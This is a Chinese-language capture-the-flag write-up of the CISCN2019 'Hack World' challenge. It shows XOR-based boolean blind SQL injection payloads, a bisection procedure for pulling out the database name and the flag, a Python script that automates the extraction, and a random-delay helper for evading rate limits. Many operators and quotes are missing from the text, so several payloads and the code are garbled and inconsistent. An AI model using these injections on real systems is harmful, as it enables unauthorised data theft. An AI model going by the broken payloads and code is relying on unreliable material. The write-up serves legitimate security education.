从黑盒到白盒:CISCN2019 Web1 Hack World 异或注入实战复盘
1. 初识Hack World从黑盒测试开始第一次看到Hack World这道CTF题目时我完全不知道它会给我带来什么惊喜。题目界面简洁得让人怀疑人生——就一个输入框连提交按钮都没有。这种极简主义设计在CTF比赛中往往意味着背后藏着大坑。我先尝试了最基础的测试方法输入id1页面返回了正常数据输入id1页面直接报错。这个反应立刻让我兴奋起来——典型的SQL注入漏洞特征但当我尝试常规的注入手法时比如1 or 11--页面却毫无反应。看来题目设置了过滤机制把常见的注入关键词都屏蔽了。这时候我决定祭出大杀器——Fuzz测试。简单来说就是系统地尝试各种可能的输入组合看看哪些能绕过过滤。我准备了包含各种SQL操作符、函数和特殊字符的测试用例库用脚本批量发送请求。经过几轮测试发现当输入包含异或运算符(^)时页面会返回一个奇怪的提示Hello, glzjin wants a girlfriend.。这个看似无厘头的错误信息实际上透露了两个重要线索第一异或运算可能没有被过滤第二服务器对某些特殊输入会给出不同的响应。这就像在迷宫中找到了一根线头虽然还不知道通向哪里但至少有了探索的方向。2. 异或注入的奇妙世界异或运算(XOR)在编程中是个很有趣的操作符。它的规则很简单两个值相同返回0不同返回1。在SQL中异或运算经常被用来做条件判断这正是我们需要的突破口。我尝试构造了一个简单的测试id0^1。如果后端SQL语句是类似SELECT * FROM table WHERE id input这样的结构那么实际执行的SQL就是SELECT * FROM table WHERE id0^1。因为0^11所以应该返回id1的记录——确实如此更有趣的是当我把条件改为id0^(11)时返回了相同的结果因为11是真(true)在SQL中相当于1所以0^11。而当测试id0^(12)时因为12是假(false)相当于0所以0^00返回的是id0的记录通常不存在所以无结果。这个发现太关键了这意味着我们可以通过构造复杂的异或条件表达式让服务器在不知情的情况下泄露信息。比如想知道数据库名的长度是否大于10就可以构造id0^(length(database())10)根据返回结果判断条件的真假。3. 构建布尔盲注攻击链有了异或这个利器接下来就是构建完整的盲注攻击链。盲注就像是在黑暗中摸索只能通过是/否的回答一点点拼凑信息。这里我采用了经典的折半查找法(binary search)来提高效率。首先确定数据库名的长度。我构造了一系列测试0^(length(database())10) → 返回正常结果说明长度10 0^(length(database())15) → 无结果说明长度15 0^(length(database())13) → 无结果 0^(length(database())12) → 有结果 0^(length(database())11) → 有结果 0^(length(database())11) → 有结果经过这样逐步缩小范围最终确定数据库名长度是11个字符。接下来就是逐个字符爆破数据库名。ASCII码的范围是0-127用折半查找最多7次就能确定一个字符。以第一个字符为例0^(ascii(substr(database(),1,1))80) → 有结果说明ASCII80 0^(ascii(substr(database(),1,1))100) → 无结果说明ASCII100 0^(ascii(substr(database(),1,1))90) → 有结果 0^(ascii(substr(database(),1,1))95) → 有结果 0^(ascii(substr(database(),1,1))97) → 无结果 0^(ascii(substr(database(),1,1))96) → 有结果 0^(ascii(substr(database(),1,1))99) → 有结果确定第一个字符是c(ASCII 99)。重复这个过程最终拼出完整的数据库名。4. 自动化攻击脚本开发手动测试虽然可行但效率太低。我决定用Python写个自动化脚本。核心思路是定义发送请求和判断结果的函数实现折半查找算法封装字符爆破逻辑import requests url http://example.com/hackworld session requests.Session() def test_condition(condition): payload f0^({condition}) r session.post(url, data{id: payload}) return Hello not in r.text # 根据实际响应调整判断条件 def binary_search(expr, low, high): while low high: mid (low high) // 2 if test_condition(f{expr}{mid}): low mid 1 else: high mid - 1 return low def get_string(expr, length): result for i in range(1, length1): char_code binary_search(fascii(substr({expr},{i},1)), 32, 126) result chr(char_code) return result # 获取flag flag_length binary_search(length((select(flag)from(flag))), 1, 100) flag get_string((select(flag)from(flag)), flag_length) print(fFlag: {flag})这个脚本先确定flag的长度然后逐个字符爆破。虽然看起来简单但在实际比赛中能节省大量时间。我建议在本地测试环境先调试好再应用到实际题目中。5. 踩坑经验与优化技巧在实际操作中我遇到了几个坑值得分享第一个坑是判断条件的选择。最初我用返回结果是否为空来判断但后来发现题目在无结果时会返回那个glzjin wants a girlfriend的提示。所以正确的判断应该是检查响应中是否包含这个特定字符串。第二个坑是性能优化。最初的脚本每个字符要发送7个请求折半查找对于长字符串效率不高。后来我做了两点改进1) 缓存已知的字符范围2) 实现并行请求。这使爆破速度提升了3倍以上。第三个坑是WAF(Web应用防火墙)干扰。有些CTF环境会限制请求频率太快的请求会被暂时封禁。我的解决方案是加入随机延迟import time import random def safe_request(payload): time.sleep(random.uniform(0.5, 1.5)) # 随机延迟 return session.post(url, data{id: payload})最后拿到flag的那一刻感觉所有的折腾都值了。这种从完全黑盒开始通过系统测试和分析最终完全掌握系统内部逻辑的过程正是CTF比赛最吸引人的地方。